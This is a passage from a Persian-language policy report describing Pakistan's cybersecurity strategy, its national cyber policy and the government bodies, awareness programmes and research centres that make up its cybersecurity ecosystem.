امــن فراهم می‌کند. ایــن راهبرد بر مدیریت فضای پیچیده تهدیدهای ســایبری و حفاظت 

از خدمات حیاتی مخابراتی به نفع تمامی ذینفعان ازطریق حفظ شــفافیت و همکاری میان 

ذینفعــان متمرکــز اســت. بخش مخابرات با بهبود مســتمر و پایبندی‌بــه بهترین شیوه‌ها 

قــادر خواهدبود ریســک‌های ســایبری را به‌طور مــوثری کاهش دهد و امنیــت و یکپارچگی 

زیست‌بوم دیجیتال پاکستان را تضمین کند ]5[.

همانــطور که پیش‌تر اشــاره شــد، تدوین راهبــرد امنیت ســایبری 2023-2028 گام مهمی 

درجهت اجرای سیاست ملی امنیت سایبری 2021 است. درواقع می‌توان گفت که سیاست 

ملــی امنیت ســایبری ۲۰۲۱ بیشــتر نقش یــک چارچوب کلان راهــبری را ایفا می‌کنــد و راهبرد 

امنیــت ســایبری 2028-2023 به‌منزلــه‌ برنامــه‌ اجرایی برای پیاده‌ســازی بخش‌هــایی از همان 

چارچــوب در حوزه‌ مخابــرات اســت. به‌بیان‌دقیق‌تر، سیاســت ملی امنیت ســایبری 2021 بر 

ایجاد ســاختار حکمرانی ســایبری، الزامات استانداردســازی، ممیزی، حفاظت از زیرساخت 

حیاتــی، و ظرفیت‌ســازی تاکیــد دارد. در راهبــرد امنیــت ســایبری 2028-2023 نیــز ایــن مــوارد 

بــه‌صورت شــش رکــن عملیاتی )ازجملــه تاب‌آوری ســایبری، چارچــوب قانونی بــرای امنیت 

گاهــی ســایبری، نظــارت پیشــگیرانه و پاســخ بــه حــوادث ســایبری،  ســایبری، همــکاری، آ

ظرفیت‌سازی( بازتولید شده‌اند که دقیقا از همان الزامات مشتق شده‌اند.

افزون‌بر این مورد، در سیاســت ملی امنیت ســایبری 2021 حفاظت از زیرســاخت حیاتی 

اطلاعاتی به‎عنوان یک اولویت کلیدی معرفی شده‌‌اســت و برهمین‌اســاس، راهبرد امنیت 
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ســایبری 2028-2023 نیز بر تقویت ارزیابی، بازبینی و ارتقای مســتمر راهبرد امنیت سایبری و 

افزایش سرمایه‌گذاری در حوزه فناوری‌های نوین مانند هوش‌ مصنوعی، یادگیری ماشینی 

و خودکارســازی )اتومــاسیون( تاکیــد کــرده‌ و و درواقــع، ایــن اولویت کلیدی سیاســت ملی 

امنیت ســایبری 2021 را از ســطح راهبردی و کلان به ســطح عملیاتی رسانده‌اســت. درنتیجه 

می‌توان گفت راهبرد امنیت ســایبری پاکســتان 2028-2023 نخســتین تلاش منســجم برای 

اجرای عملی سیاست ملی امنیت سایبری 2021 در زیرساخت مخابراتی است.

گفتنــی اســت کــه پاکســتان درراســتای هم‌تــرازی سیاســت‌ها و اقدامات خــود در حوزه 

امنیــت ســایبری با چارچوب‌هــای بین‌المللی NIST CSF یــا ISO 27001 به‌تازگــی پروژه بزرگی 

بــرای به‌روزرســانی چارچــوب امنیــت ســایبری ملــی خــود تحت‌حمایــت بانــک جهانــی آغــاز 

کرده‌اســت. این پروژه با عنوان پروژه ارتقای اقتصاد دیجیتال )DEEP(1 شــناخته می‌شــود و 

با بودجه 77/73 میلیون دلاری به‌دنبال نوین‌ســازی و تامین امنیت زیســت‌بوم دیجیتال 

درحال‌رشــد کشور اســت. به درخواســت دولت پاکســتان نیز ارزیابی کامل زیرســاخت‌ها و 

شــکاف‌های امنیــت ســایبری در دولــت، بخش خصوصی و زیرســاخت‌های حیاتی توســط 

یک شــرکت مشــاوره بین‌المللی انجام خواهدشــد. بخش‌های کلیدی که موردارزیابی قرار 

خواهندگرفت شامل بخش مالی، انرژی، بهداشت، فناوری اطلاعات و مخابرات می‌شوند. 

اجرای این پروژه و اصلاحات مربوطه نیازمند مشــارکت گســترده ذینفعان مختلف اســت. 

به‌طورکلی، اصلاحات در نظر گرفته‌شده در این پروژه شامل موارد زیر می‌شود:

 y به‌روزرسانی سیاست ملی امنیت سایبری پاکستان )2021(؛‌

 y  تقویــت حــوادث،  بــه  پاســخ  ســازوکار‌های  بهبــود   ، صفــر اعتمــاد  رویکــرد  ‌معرفــی 

مشارکت‌های دولتی- خصوصی و برنامه‌ریزی امنیت سایبری برای دوران پس از هوش‌ 

مصنوعی مولد در سیاست به‌روز‌شده؛

1.  Digital Economy Enhancement Project
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 y  معرفی قانون جدید امنیت ســایبری مطابق با اســتانداردهای جهانی مانند اتحادیه‌
 1)NIST( موسسه ملی استانداردها و فناوری ایالات متحده ،)ITU( بین‌المللی مخابرات

و سازمان بین‌المللی استانداردسازی )ISO(2؛

 y  پیشنهاد تشکیل یک مرجع ملی امنیت سایبری برای نظارت بر اجرای قانون جدید‌

امنیت سایبری؛

 y  ارائــه دســتورالعمل‌های لازم بــرای حوزه‌هــای امنیــت فضــای ابری، حمــات مبتنی‌بر‌

هوش‌مصنوعی و رمزنگاری پس از کوانتوم؛

 y ؛ ‌ظرفیت‌سازی در دولت، صنعت، دانشگاه‌ها، جامعه مدنی و جوامع آسیب‌پذیر

 y  توانمندســازی نیروی انســانی ازطریق ارائه آموزش، برنامه‌های تحصیلی و ابتکارهای‌

تحقیقاتی در حوزه سایبری؛ و

 y  حمایــت از صنعــت امنیــت ســایبری کشــور بــا ارائــه مشــوق‌هایی برای شــرکت‌های‌

نوآفرین و ارائه‌دهندگان خدمات صادراتی ]85[.

3. 4. 2.  بازیگران کلیدی زیست‌بوم امنیت سایبری پاکستان

ســاختار نهادی امنیت ســایبری پاکســتان به‌صورت یک نهاد یکپارچه نیست، بلکه به 

شــکل زیســت‌بومی هماهنگ اســت که در آن، هر فرماندهی راهبردی سطح‌بالا درراستای 

همسوســازی سیاست‌های ســایبری با اهداف امنیت ملی تلاش می‌کند. هر بخش دارای 

واحدهــای ســایبری مختص‌به‌خود اســت کــه وظیفه محافظــت از سیســتم‌های خاص هر 

بخش و پشتیبانی از عملیات میدانی را برعهده دارند ]86[.

دولتــی،  نهادهــای  از  ترکیبــی  پاکســتان  در  ســایبری  امنیــت  زیســت‌بوم  درمجــموع، 

شــرکت‌های خصوصــی، مراکز پژوهشــی و بازیگران نوآفرین اســت کــه هریک نقش مهمی 

1.  US National Institute of Standards and Technology
2.  International Organization for Standardization
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در تقویــت تــوان دفاعی دیجیتــال کشور ایفا می‌کننــد. درحالی‌که دولــت و نهادهای نظامی 

عمدتــا بر سیاســت‌گذاری، چارچوب‌هــای قانونی و حفاظت از زیرســاخت‌های حیاتی تمرکز 

دارنــد، شــرکت‌های خصوصــی و نوآفرین در حوزه فنــاوری با ارائه خدمــات نوآورانه‌ای مانند 

، شبیه‌ســازی حملات، و آموزش و مشــاوره به ارتقای تاب‌آوری  تســت نفوذ، تحلیل بدافزار

ســایبری بخش‌هــای مختلــف اقتصــادی و اجتماعــی کمــک می‌کننــد. این زیســت‌بوم پویا 

نه‌تنها پاســخی به تهدیدهای فزاینده ســایبری اســت، بلکه بســتری مناســب برای توسعه 

فناوری‌های نوین، ترویج همکاری‌های بین‌المللی و شکل‌گیری بازار رقابتی خدمات امنیت 

سایبری فراهم می‌آورد. ازآنجاکه شناخت بازیگران کلیدی این زیست‌بوم تصویر روشنی از 

ظرفیت‌های پاکستان در عرصه امنیت سایبری به‌دست می‌دهد، در این بخش به معرفی 

نهادهای دولتی متولی امنیت سایبری و همچنین شرکت‌های خصوصی پاکستانی پیشرو 

در این حوزه پرداخته می‌شود.

3. 4. 2. 1.  نهادهای دولتی متولی امنیت سایبری در پاکستان

در ایــن بخــش چنــد نهــاد کلیــدی دولتــی پاکســتان معرفی خواهد شــد کــه نقش‌های 

مختلفی در قانون‌گذاری، پیشــگیری، پاســخ به حملات و تحقیق‌وتوســعه در زمینه امنیت 

: وزارت ارتباطــات و فناوری اطلاعات )MoITT(1، هیئت  ســایبری دارند. این نهادها عبارتنداز

ملــی امنیــت ارتباطــات و فنــاوری اطلاعــات )NTISB(2، مرکــز ملــی پاســخ بــه جرایم ســایبری 

)NR3C(، تیــم ملــی پاســخ فوری ســایبری پاکســتان )PkCERT(، مرکــز ملی امنیت ســایبری 

)NCCS(، ســازمان ملــی تحقیقــات جرایــم ســایبری پاکســتان )NCCIA(، ســازمان مخابــرات 

پاکســتان )PTA(، مرکــز ملــی عملیــات امنیتــی مخابــرات )nTSOC( و تیــم ملــی پاســخ فوری 

.)nTCERT( رایانه‌ای در حوزه مخابرات

1.  Ministry of Information Technology and Telecommunication
2. National Telecommunication & Information Technology Security Board
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   اطلاع‌نگاشت ۷:      نهادهای متولی امنیت سایبری در پاکستان  

)MoITT( وزارت ارتباطات و فناوری اطلاعات پاکستان

 eسیاست‌گذاری و قانون‌گذاری در حوزه فناوری اطلاعات و مخابرات

 eفراهم کردن بستر لازم برای مقابله با تهدیدها و جرایم الکترونیک

 eتقویت توانمندی‌های دفاع سایبری کشور

 e باهدف تدویــن، هدایت و )CGPC( تشــکیل کمیتــه‌ سیاســت‌گذاری حکمرانــی ســایبری
نظارت کلان بر سیاست‌ها و قوانین امنیت سایبری در سطح ملی

)PkCERT( تیم ملی پاسخ فوری سایبری پاکستان

 e حفاظت از دارایی‌های دیجیتال، اطلاعات حســاس و زیرســاخت‌های حیاتی پاکســتان در
برابر حملات سایبری، تروریسم سایبری و جاسوسی سایبری

 eشناسایی، پیش‌گیری و پاسخ به تهدیدهای سایبری

 eترویج آگاهی سایبری

 eایجاد ارتباط بین صنعت و دانشگاه‌ها در زمینه امنیت سایبری

 eتدوین و اجرای سیاست‌های سایبری

 eتقویت همکاری‌های بین‌المللی ازطریق ارتباط با سایر تیم‌های پاسخ فوری سایبری

)NTISB( هیئت ملی امنیت ارتباطات و فناوری اطلاعات

 eسیاست‌گذاری، نظارت و مشاوره در حوزه امنیت ارتباطات و خدمات فناوری اطلاعات

 eهماهنگی در حوزه امنیت ارتباطات و فناوری اطلاعات

)NR3C( مرکز ملی پاسخ‌ به جرایم سایبری

 eاجرای قانون مربوط‌به مقابله با جرایم سایبری
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)NCCIA( سازمان ملی تحقیقات جرایم سایبری پاکستان

 eتحقیق و مقابله با تمامی جرایم مرتبط با فضای سایبری در سراسر کشور

 eحفاظت از زیرساخت‌های دیجیتال کشور

 eاجرای قوانین سایبری

 eارتقای آگاهی و تاب‌آوری در حوزه امنیت سایبری

)NCCS( مرکز ملی امنیت سایبری

 eایجاد توانمندی‌ها و ظرفیت‌های ملی در حوزه امنیت سایبری

 eتربیت متخصصان بومی در زمینه امنیت سایبری

 eارائه راهکارهای بومی در حوزه امنیت سایبری

)nTCERT( تیم ملی پاسخ فوری رایانه‌ای در حوزه مخابرات

 eپایش مستمر تهدیدهای سایبری و جمع‌آوری اطلاعات تهدیدها

 eارائه مشاوره‌ و هشدار به اپراتورهای مخابراتی در مورد تهدیدهای سایبری

 eپاسخ به رخدادهای امنیت سایبری

)PTA( سازمان مخابرات پاکستان

 eتنظیم و نظارت بر بخش مخابرات

 eتدوین مقررات مربوط‌به امنیت داده‌ها و زیرساخت‌های حیاتی مخابرات

)nTSOC( مرکز ملی عملیات امنیتی مخابرات

 eمدیریت حوادث سایبری در بخش مخابرات

 eتامین امنیت داده‌ها و زیرساخت‌های حیاتی مخابراتی پاکستان در برابر حملات سایبری
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وزارت ارتباطات و فناوری اطلاعات پاکستان� 

وزارت ارتباطـــــات و فنـــــاوری اطلاعـــــات پاکســـــتان )MoITT( به‌عنـــــوان مرجـــــع اصلـــــی 

سیاســت‌گذاری و قانون‌گــذاری در حوزه فنــاوری اطلاعــات و مخابــرات نقــش بنیادینــی در 

توســعه دیجیتال کشور ایفا می‌کند. چشم‌انداز این وزارتخانه بر توانمندسازی شهروندان 

ازطریــق دسترســی پایــدار بــه اطلاعــات و خدمات دیجیتــال و گذار بــه اقتصــاد دانش‌محور 

اســتوار اســت ]8[. به‌طورکلــی، تدویــن و اجــرای سیاســت‌ها و چارچوب‌هــای قانونی، ایجاد 

زیرســاخت‌های فنــاوری اطلاعــات و ارتباطــات، تســهیل حکمرانی مطلــوب، بهبود خدمات 

عمومــی و مشــارکت در رشــد کلــی اجتماعــی و اقتصــادی کــشور ازجمله اهــداف اصلی این 

برنامــه‌ای جامــع و یکپارچــه و  وزارتخانــه محســوب می‌شــود ]9[. به‌همین‌ترتیــب، تهیــه 

همچنین تدوین سیاســت‌های مربوط‌به توســعه و بهبود زیرساخت‌های فناوری اطلاعات 

و مخابــرات در کــشور، هماهنگــی میــان دولت‌هــای ایالتــی، بخــش خصوصــی و نهادهــای 

بین‌المللی، توسعه منابع انسانی و اجرای آیین‌نامه پیشگیری از جرایم الکترونیک )۲۰۰۷( و 

قوانین مرتبط با آن در حوزه وظایف وزارت مذکور قرار دارد.

ایــن وزارتخانــه یکــی از مهم‌تریــن نهادهــای متولــی در عرصه امنیت ســایبری به‌شــمار 

مــی‌رود. تدویــن سیاســت ملــی امنیــت ســایبری ۲۰۲۱ پاکســتان ازجملــه اقدامــات کلیــدی 

وزارت ارتباطات و فناوری اطلاعات در این زمینه است. این وزارتخانه همچنین مسئولیت 

هماهنگــی میــان دســتگاه‌ها و نظــارت بر نهادهــای تخصصی همچون هیئــت ملی فناوری 

اطلاعــات1، شــرکت ملــی مخابرات2، ســازمان ارتباطات ویــژه3 و شورای اعتبارســنجی گواهی 

الکترونیک4 را برعهده دارد. دراین‌راســتا، این وزارتخانه بســتر لازم برای حکمرانی دیجیتال، 

1.  National Information Technology Board
2.  National Telecommunication Corporation
3.  Special Communications Organization
4.  Electronic Certification Accreditation Council
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مقابلــه بــا تهدیدهــا و جرایــم الکترونیــک و تقویــت توانمندی‌هــای دفاع ســایبری کــشور را 

فراهم می‌آورد ]10[.

هیئت ملی امنیت ارتباطات و فناوری اطلاعات� 

ــه  ــه کابین ــر دبیرخان ــر نظ ــات )NTISB( زی ــاوری اطلاع ــات و فن ــت ارتباط ــی امنی ــت مل هیئ

پاکســتان1 فعالیــت دارد و سیاســت‌گذاری، نظــارت و مشــاوره در حوزه امنیــت ارتباطــات و 

خدمــات فنــاوری اطلاعــات ماموریــت اصلــی آن محســوب می‌شــود. ایــن هیئــت بــا بررســی 

قوانیــن،  تدویــن  در  را  دولــت   ، کــشور مخابــرات  و  ســایبری  امنیــت  وضعیــت  مســتمر 

را  مهــم  امنیتــی  نقض‌هــای  و  می‌دهــد  یــاری  مرتبــط  سیاســت‌های  و  دســتورالعمل‌ها 

مســتقیما بــه نخســت‌وزیر و کمیتــه دفــاع کابینــه گــزارش می‌کنــد. از دیگــر وظایــف ایــن مرکــز 

ــت‌ها،  ــدی سیاس ــابی کارآم ــی، ارزی ــای امنیت ــه گزارش‌ه ــه ارائ ــازمان‌ها ب ــزام س ــه ال ــوان ب می‌ت

بــر بــه‌کارگیری تجهیــزات امنیتــی در نهادهــا و ســازمان‌های دولتــی و خصوصــی،  نظــارت 

ــه نهادهــای  واگــذاری پروژه‌هــای توســعه تجهیــزات امنیــت ارتباطــات و فنــاوری اطلاعــات ب

ترویــج  آموزشــی،  اســتانداردهای  رمزنــگاری، تعییــن  بازرســی دوره‌ای مراکــز  مورداعتمــاد، 

آموزش در حوزه رمزنــگاری و امنیــت اطلاعــات و پیشــنهاد اقدامــات اصلاحــی بــرای رفــع 

آسیب‌پذیری‌هــا اشــاره کــرد. به‌طورکلــی، هیئــت ملــی امنیــت ارتباطــات و فنــاوری اطلاعــات 

در  اطلاعــات  فنــاوری  و  ارتباطــات  امنیــت  حوزه  در  عالــی  ناظــر  و  هماهنگ‌کننــده  بــازوی 

در  کلیــدی  بازیگــران  از  یکــی  همچنیــن  هیئــت  ایــن   .]11[ می‌شــود  محســوب  پاکســتان 

راه‌انــدازی تیــم پاســخ فوری ســایبری کــشور بوده‌اســت ]12[.

مرکز ملی پاسخ‌ به جرایم سایبری� 

ــت  ــتان اس ــانون در پاکس ــجری ق ــاد م ــایبری )NR3C( نه ــم س ــه جرای ــخ‌ ب ــی پاس ــز مل مرک

1.  Cabinet Secretariat
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 ، مرکــز ایــن  شده‌اســت.  ایجــاد  ســایبری  جرایــم  بــا  مقابلــه  بــرای  اختصاصــی  بــه‌طور  کــه 

 )FIA( جدیدتریــن بخشــی اســت کــه بــه ماموریت‌هــای ســازمان فــدرال تحقیقــات پاکســتان

افزوده شــده و وظیفــه اصلــی آن رسیدگــی بــه جرایــم مبتنی‌بــر فنــاوری در کــشور اســت. 

ایــن مرکــز همچنیــن تنهــا واحــد تخصصــی از ایــن نوع در پاکســتان محســوب می‌شــود کــه 

علاوه‌بــر رسیدگــی مســتقیم بــه شــکایات دریافتــی، بــه ســایر نهادهــای مــجری قــانون نیــز در 

پرونده‌هــای مرتبــط کمــک می‌کنــد.

مرکز ملی پاســخ‌ به جرایم ســایبری دارای تخصص در حوزه‌های جرم‌شناســی دیجیتال، 

تحقیقات فنی، ممیزی امنیتی ســامانه‌های اطلاعاتی، تســت نفوذ و آموزش‌های تخصصی 

در حوزه ســایبری اســت و از زمــان تاسیــس خــود تاکــنون نقــش مــوثری در زمینــه ارتقــای 

توانمنــدی نیروهای پلیس، ســازمان‌های اطلاعاتی، دســتگاه قضایی، دادســتان‌ها و دیگر 

نهادهای دولتی ایفا کرده‌است ]13[.

تیم ملی پاسخ فوری سایبری پاکستان� 

تیــم ملــی پاســخ فوری ســایبری پاکســتان )PkCERT( یــک نهــاد دولتــی ملــی اســت کــه 

مســئولیت حفاظــت از دارایی‌هــای دیجیتــال، اطلاعــات حســاس و زیرســاخت‌های حیاتی 

پاکســتان در برابر حملات ســایبری، تروریسم سایبری و جاسوسی سایبری را برعهده دارد. 

تیــم مــذکور همــواره ظرفیت خود را برای ارائــه خدمات عالی به کــشور و تمامی ذینفعان آن 

: افزایش می‌دهد. برخی از اهداف اصلی آن عبارتنداز

 y شناسایی، پیشگیری و پاسخ به تهدیدهای سایبری؛‌

 y ترویج آگاهی سایبری میان عموم مردم، نهادهای دولتی و بخش خصوصی؛‌

 y  ایجـــــاد ارتباط بین صنعـــــت و دانشــــگاه‌ها برای ترویج فعالیت‌های تحقیق‌وتوسعه‌

در زمینه امنیت سایبری؛
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 y تدوین و اجرای سیاست‌های سایبری؛ و‌

 y  ـــخ ـــایرتیم‌های پاســ ـــا س ـــاط ب ـــراری ارتب ـــق برقـــ ـــی ازطریـــ ـــکاری بین‌المللــ ـــت همــ ‌تقویــ

فـــوری ســـایبری.

چشم‌انداز تیم پاسخ فوری سایبری این است که با تمامی تیم‌های پاسخ فوری سایبری 

در دیگــر کشورهــا همــکاری کنــد و با تیم‌هــای پاســخ فوری بین‌المللــی ارتباط برقــرار کند تا 

بدین‌ترتیــب بتوانــد از امنیت و پایداری سیســتم‌های اطلاعاتی حیاتی پاکســتان محافظت 

کــرده و تداوم کســب‌وکارها را تضمیــن نماید. درواقع می‌توان گفت ایــن نهاد نقش حیاتی 

در حفاظت از زیرســاخت‌های حیاتی پاکســتان، نهادهای دولتی و شهروندان این کشور در 

برابر تهدیدهای سایبری ایفا می‌کند و اطمینان می‌دهد که کشور آماده پاسخ‌دهی و بازیابی 

پس از حوادث سایبری است ]14[.

برنامه‌هــای تیــم ملــی پاســخ فــوری ســایبری پاکســتان: تیــم ملــی پاســخ فوری ســایبری 

گاهــی و آموزش امنیــت ســایبری، مجموعــه‌ای از برنامه‌هــا و  پاکســتان باهــدف ارتقــای آ

ابتکارهــای متــنوع را بــرای گروه‌هــای ســنی مختلف و ســازمان‌ها طراحی کرده‌اســت. یکی از 

ایــن برنامه‌ها شــامل ابتکار راهبردی زیســت‌بوم نوآوری ســایبری )CIE(1 اســت که برمبنای 

همکاری تدوین شده و با گردهم‌آوردن نهادهای دولتی، سازمان‌های خصوصی ثبت‌شده 

نــزد کمیــسیون بورس و اوراق بهــادار )SECP(2، دانشــگاه‌ها و موسســات پژوهشــی تلاش 

می‌کنــد بســتری پویــا برای پیشــبرد برنامــه ملی امنیت ســایبری پاکســتان ایجــاد کند. این 

ابتکار با هدایت سیاســت ملی امنیت ســایبری 2021 قصد دارد نوآوری را ترویج دهد، تبادل 

اطلاعــات مرتبــط با تهدیدهــای ســایبری را تقویت کند و تــاب‌آوری ملی در برابــر تهدیدهای 

پیچیده سایبری را افزایش دهد. 

1.  Cyber Innovation Ecosystem
2.  Securities and Exchange Commission
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شرکای این نهاد با بهره‌گیری از تخصص و منابع جمعی در توسعه راهکارهای پیشرفته 

امنیــت ســایبری مشــارکت می‌کنند که همســو با اهــداف امنیت ملی پاکســتان و بهترین 

شیوه‌هــای جهانــی هســتند. پیرو ایــن ابتــکار نیز تیم ملی پاســخ فوری ســایبری پاکســتان 

 ،1)LUMS( تفاهم‌نامه‌هــایی بــا نهادهــای مختلــف ازجملــه دانشــگاه علــوم مدیریــت لاهور

 )NCCS( 2 و مرکز ملی امنیت ســایبری)NUCES( دانشــگاه ملــی علوم رایانــه و علوم نوپدیــد

ح  درجهــت تقویــت امنیت ســایبری کــشور امضا کرده‌اســت کــه در بخــش همکاری‌ها شر

مختصری از آن‌ها ارائه می‌شود ]15[. 

ســایر برنامه‌هــای تیــم پاســخ فوری ســایبری پاکســتان از آموزش کــودکان و جوانــان تا 

توانمندسازی مقامات دولتی را پوشش می‌دهند و با رویکردی جذاب و عملی زمینه را برای 

ح مختصری از این برنامه‌ها  آمادگی کاربران در برابر تهدیدهای دیجیتال فراهم می‌کنند. شر

در جدول ۵ ارائه شده‌است.

   جدول ۵:      برنامه‌های تیم پاسخ فوری سایبری پاکستان  
معرفی برنامهعنوان برنامهردیف

برنامه آگاهی، زمینه‌ساز 1
3)ABC( تغییر

گاهــی عمومــی در زمینــه امنیــت  ایــن برنامــه باهــدف افزایــش آ
بــا  تــا  می‌کنــد  کمــک  افــراد  بــه  و  شده‌اســت  طراحــی  ســایبری 
تهدیدهــای ســایبری آشــنا شــده و راهکارهــای مقابلــه بــا آن‌هــا را 

.]16[ بیاموزنــد 

برنامه مراقبت سایبری از 2
4)CCC( کودکان

ایــن برنامه باهــدف آموزش کودکان، والدین و معلمان در زمینه 
امنیــت فضــای برخــط طراحــی شده‌اســت و بــه شــرکت‌کنندگان 
کمــک می‌کنــد تــا با تهدیدهای ســایبری آشــنا شــده و روش‌های 

محافظت از خود در فضای دیجیتال را بیاموزند ]17[.

1.  Lahore University of Management Sciences
2.  National University of Computer and Emerging Sciences
3.  Awareness Brings Change
4.  Cyber Care for Children
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معرفی برنامهعنوان برنامهردیف

برنامه ابرقهرمانان 3
سایبری نوجوان1

این برنامه آموزشــی با استفاده از انیمیشن‌های جذاب، مفاهیم 
امنیت سایبری را به کودکان آموزش می‌دهد. به‌طورکلی، افزایش 
مســئولیت‌پذیری دیجیتال و آگاهی از تهدیدهای برخط در میان 

کودکان هدف اصلی این برنامه محسوب می‌شود ]18[.

4
کارگاه‌ آموزشی سیار 
امنیت سایبری برای 

همه2

زمینه  در  عمومی  آگاهی  ارتقای  و  آموزش  باهدف  رویدادها  این 
و  تعاملی  جلسات  شامل  و  می‌شوند  برگزار  سایبری  امنیت 
نمایش‌های عملی برای گروه‌های مختلف ازجمله دانش‌آموزان، 
معلمان، کارآفرینان، کارمندان بخش دولتی، مهندسان فناوری 

اطلاعات و دیگر اعضای جامعه هستند ]19[.

این برنامه یک بستر آموزشی است که مفاهیم امنیت سایبری را برنامه آگاهی سایبری53
با استفاده از انیمیشن به زبانی ساده و جذاب ارائه می‌دهد ]20[.

برنامه کارآموزی قهرمانان 6
سایبری4

ایــن برنامــه کارآموزی شــش ‌هفتــه‌ای بــه جوانــان علاقه‌منــد بــه 
حوزه امنیــت ســایبری فرصــت می‌دهــد تــا مهارت‌هــای خــود را 
در حوزه‌هــای مختلــف مانند بهداشــت ســایبری، ایمنــی برخط و 

طراحی وب تقویت کنند ]21[.

برنامه دولت امن 7
5)CSGov( سایبری

ایـــن برنامـــه بـــه مقامـــات دولتـــی آموزش می‌دهـــد تـــا کانال‌هـــای 
ارتباطـــی خـــود را امـــن کـــرده، از اطلاعـــات حســـاس خـــود محافظـــت 
کننـــد و روش‌هـــای رمزگـــذاری را بـــرای امنیـــت داده‌هـــا پیاده‌ســـازی 

کننـــد ]22[.

مجموعه وبینارهای رصد 8
سایبری6

مجموعــه وبینارهای رصد ســایبری باهدف ارائــه آخرین اطلاعات 
مربوط‌به امنیت ســایبری و تحلیل‌های مربوطه برگزار می‌شــوند. 
این وبینارها شامل نمایش‌های عملی و سخنرانی‌های تخصصی 

در دانشگاه‌ها و سازمان‌های مختلف هستند ]23[.

1.  Junior Cyber Superheroes
2.  Cyber Safety for Everyone Roadshow
3.  Cyber Aagahi
4.  Cyber Champs Internship
5.  Cyber Secure Gov
6.  CyberWatch-Webinar Series
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مرکز ملی امنیت سایبری� 

دولــت پاکســتان در ژوئــن 2018 مرکــز ملــی امنیــت ســایبری )NCCS( را تاسیــس کــرد. ایــن 

پروژه ابتــکاری مشــترک میــان کمیــسیون آموزش عالــی )HEC(1 وکمیــسیون برنامــه‌ریزی2 

بــود. به‌طورکلــی، ایجــاد توانمندی‌هــا و ظرفیت‌هــای ملــی در حوزه امنیــت ســایبری باهــدف 

تربیــت متخصصــان بومــی و ارائــه راهکارهــای داخلــی در ایــن حوزه ماموریــت اصلــی مرکــز 

ملــی امنیــت ســایبری محســوب می‌شــود. دراین‌راســتا، مرکــز ملــی امنیــت ســایبری اهــداف 

ح زیــر دنبــال می‌کنــد: متعــددی بــه شر

 y  ایجـــاد ظرفیـــت ملـــی بـــرای انجـــام تحقیق‌وتوســـعه در حوزه‌هـــای نوپدیـــد امنیـــت‌

ســـایبری؛

 y تامین نیازهای امنیت سایبری پاکستان ازطریق حل مسائل داخلی در این حوزه؛‌

 y کمک به رشد پایدار اقتصادی ازطریق تجاری‌سازی دستاوردهای امنیت سایبری؛‌

 y ایجاد مشارکت‌های بخش دولتی و خصوصی در زمینه امنیت سایبری؛‌

 y توسعه زیست‌بوم پویا و کارآمد امنیت سایبری؛ و‌

 y  برقراری همکاری با سایر مراکز )هوش‌ مصنوعی، رباتیک و علوم داده( در صورت نیاز‌

به‌منظور دستیابی‌به نتایج مطلوب ]26[.

این مرکز برای تحقق اهداف فوق راهبردهای زیر را اجرا می‌کند:

 y  تاسیس آزمایشگاه‌هایی در حوزه‌های مختلف امنیت سایبری به‌منظور پاسخ‌گویی‌

به نیازهای متنوع کاربران نهایی؛

 y  راه‌انــدازی برنامه‌هــای دکتری و کارشناســی ارشــد در زمینه امنیت ســایبری به‌منظور‌

پرورش پژوهشگرانی ماهر در این حوزه؛

1.  Higher Education Commission
2.  Planning Commission
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 y  برگزاری دوره‌ها و کارگاه‌های آموزشــی برای تربیت نیروی ماهر و تضمین رشــد پایدار‌

آزمایشگاه‌ها؛

 y  برقــراری ارتباطــات بین‌المللی بــا اعزام مدیــران و محققان اصلی پروژه به کشــورهای‌

؛ و دیگر

 y  برگــزاری مســابقات ایده‌های تجــاری در حوزه امنیــت ســایبری1 و کنفرانس‌های ملی‌

امنیــت ســایبری2 باهــدف افزایش آگاهی، تبــادل دانــش و ایجاد شــرکت‌های نوآفرین 

جدید ]27[.

شــایان ذکــر اســت در اوایــل ســال ۲۰۱۸ و پــس از فراخــوان عمومــی کمیــسیون آموزش 

ایــن  از  هریــک  بــه  درواقــع،  شــد.  انتخــاب  پاکســتان  دانشــگاه   ۱۱ فنــی  ح‌هــای  طر عالــی، 

دانشــگاه‌ها ماموریــت داده ‌شــد تــا تحت‌نظــارت دبیرخانــه مرکــز ملــی امنیــت ســایبری، 

آزمایشــگاه‌هایی وابســته‌به ایــن مرکــز در حوزه‌هــای مختلــف امنیــت ســایبری ایجــاد کننــد. 

دانشــگاه نیرو هــوایی3 علاوه‌بــر میزبانــی دبیرخانــه ایــن مرکــز، مســئولیت راه‌انــدازی دو 

آزمایشــگاه وابســته در زمینه‌های جرم‌شناســی ســایبری و امنیت دســتگاه‌ها و شــبکه‌های 

هوشــمند را نیــز عهــده‌دار شــد ]24[.

مدیریــت کل ایــن مرکــز برعهــده کمیتــه راهــبری ملی )NSC(4 اســت کــه از سوی هیئت 

مشورتی علمی و صنعتی )SIAB(5 پشتیبانی شده و مشاوره دریافت می‌کند. کمیته راهبری 

ملــی نهادی بالادســتی اســت کــه فعالیت‌های هریــک از بخش‌هــای مختلف مرکــز را که در 

دانشــگاه‌های گوناگون مســتقر هستند، بررســی و تصویب می‌کند. مدیریت هریک از این 

بخش‌ها نیز برعهده یک مدیر علمی است ]25[.

1.  Cyber Security Business Ideas Competition
2.  National Cyber Security Conference
3.  Air University
4.  National Steering Committee 
5.  Scientific and Industrial Advisory Board
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: مرکــز ملــی امنیــت ســایبری پاکســتان در زمینــه تحقیــق  حوزه‌هــای تحقیقاتــی مرکــز

در حوزه‌هــای مختلــف امنیــت ســایبری ماننــد جرایــم ســایبری، جرم‌شناســی دیجیتــال، 

، امنیت  سیســتم‌های شناســایی نفوذ، امنیت اینترنــت و حریم خصوصی، تحلیــل بدافزار

زیرســاخت‌های حیاتــی، امنیــت تلفن همــراه، امنیت اینترنــت اشیا، امنیــت زنجیره بلوکی 

و شناســایی ســایبری فعالیــت دارد. ایــن مرکــز بــر مدل‌ســازی ریاضــی، تحقیقــات تــجربی 

و آزمایشــگاهی تمرکــز دارد و از نظــر تعهــد بــه هــر دو جنبه عملــی و نــظری در زمینه امنیت 

‌به‌فردی است ]28[. سایبری دارای عملکرد منحصر

این مرکز همچنین از تحقیقات در برخی حوزه‌های امنیت سایبری حمایت مالی می‌کند 

و از پژوهشــگران دعــوت می‌کنــد تــا پروپوزال‌هــای تحقیقاتــی و نــوآوری خــود در حوزه‌های 

تخصصــی امنیــت ســایبری را ارســال کننــد. گفتنــی اســت پروپوزال‌ پروژه‌هــایی در اولویت 

قــرار خواهندگرفــت کــه دارای ارزش تجــاری و شــراکت‌های صنعتــی بوده و اهــداف و نتایج 

